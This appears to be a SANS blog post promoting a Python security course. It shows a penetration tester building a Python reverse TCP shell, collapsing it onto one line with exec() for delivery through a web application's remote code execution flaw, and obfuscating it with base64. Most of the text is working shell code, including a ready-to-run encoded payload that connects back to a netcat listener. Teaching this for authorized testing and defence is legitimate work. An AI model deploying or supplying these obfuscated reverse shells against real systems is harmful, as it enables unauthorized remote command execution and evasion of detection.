In SEC573: Automating Information Security with Python, we teach defenders to build tools that root out the signs of compromise in your sea of logs and network traffic. We teach forensicators to build tools to find that crucial piece of evidence with no other tools exist. We teach penetration testers how to build a few different types of backdoors that provide you with a stable foothold for you to begin your testing. Let's look at the practical application of one of the backdoors taught in that class.
During a penetration test I had come across a remote code execution vulnerability in a web application running on a Linux web server. After a few failed attempts to upload additional malware to the target I decided a netcat connection was desirable rather than the hoops I had to jump through to trigger the exploit. I decided to use the systems built in Python interpreter to execute a Python script that would give me a more stable shell. This shell will connect back to a netcat listener on my IP address on port 9000 ($nc -l -p 9000). In the examples below I'll transmit the shell to 127.0.0.1
to make it easy for you to test this on your own laptops.
First we start out with one of the simple python reverse tcp connect shell from SEC573.
import socket import subprocess s=socket.socket() s.connect(("127.0.0.1",9000)) while True: proc = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) s.send(proc.stdout.read() + proc.stderr.read())
This backdoor shell works just fine on my local system, but there is a significant problem. If I want to use this with a remote command injection vulnerability I have to pass this entire script on one line as an argument to the Python interpreter. The Python interpreter looks at the tabs and spaces in the code to find the "code blocks". The two lines that are indented beneath my while statement are not easily placed on one line unless you know a trick. We can easily put all of the unintended lines on a single line by just putting semicolon between them. Although Python doesn't consider it good coding style you can put the entire while code block on a single line. You must be very careful to have the same number of spaces after the colon and semicolon. In this example there are two spaces after the colon and the semicolon in my while loop. Now our program has been condensed into these two lines:
student@573:~/Documents/pythonclass$ python3 Python 3.5.2 (default, Jul 5 2016, 12:43:10) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import socket;import subprocess ;s=socket.socket() ;s.connect(("127.0.0.1",9000)) >>> while 1: p = subprocess.Popen(s.recv(1024),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE); s.send(p.stdout.read() + p.stderr.read())
If you keep the spacing straight and put those two lines into an interactive python session it works properly in either Python 2 or Python 3. But, if you try to combine those two lines into a single line with another semicolon it will not work. The Python interpreter generates a syntax error. The good news is you can get around that with the "exec"
method. Python's exec method is similar to "eval()"
in javascript and we can use it to interpret a script with "\n"
(new lines) in it to separate the lines. Using this technique we get the following one line python shell that can be transmitted to the remote website for execution on any target that has a Python 2 or Python 3 interpreter.
student@573:~/$ python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect((?127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
Setup a netcat listener on your localhost listening on port 9000
and this works very nicely. A technique to make sure your indentions and tabs are correct is to change all of those semicolons to '\n'
. Then, in a python interactive session, assign a variable such as 'shellcode'
to contain your payload. Then print(shellcode). If the printed result looks just like the multi-line program we started out with then the exec() function should work properly. With these techniques we can collapse all manner of scripts down to one line. Knowing that, we might as well add a little code obfuscation to the mix. Next we drop into interactive python and base64 encode our payload.
student@573:~/Documents/pythonclass$ python Python 2.7.12 (default, Jul 1 2016, 15:12:24) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information.>>> import base64 >>> shellcode = "import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())" >>> base64.b64encode(shellcode) 'aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJlY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJlYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkp'
To use our code we need to base64 decode it right before execute it. Our one liner becomes this:
student@573:~/Documents/pythonclass$ python -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJlY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJlYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkp'))"
This code sample is compatible with both Python 2 and Python 3. For more tips like this check out SEC573 Automating Information Security with Python.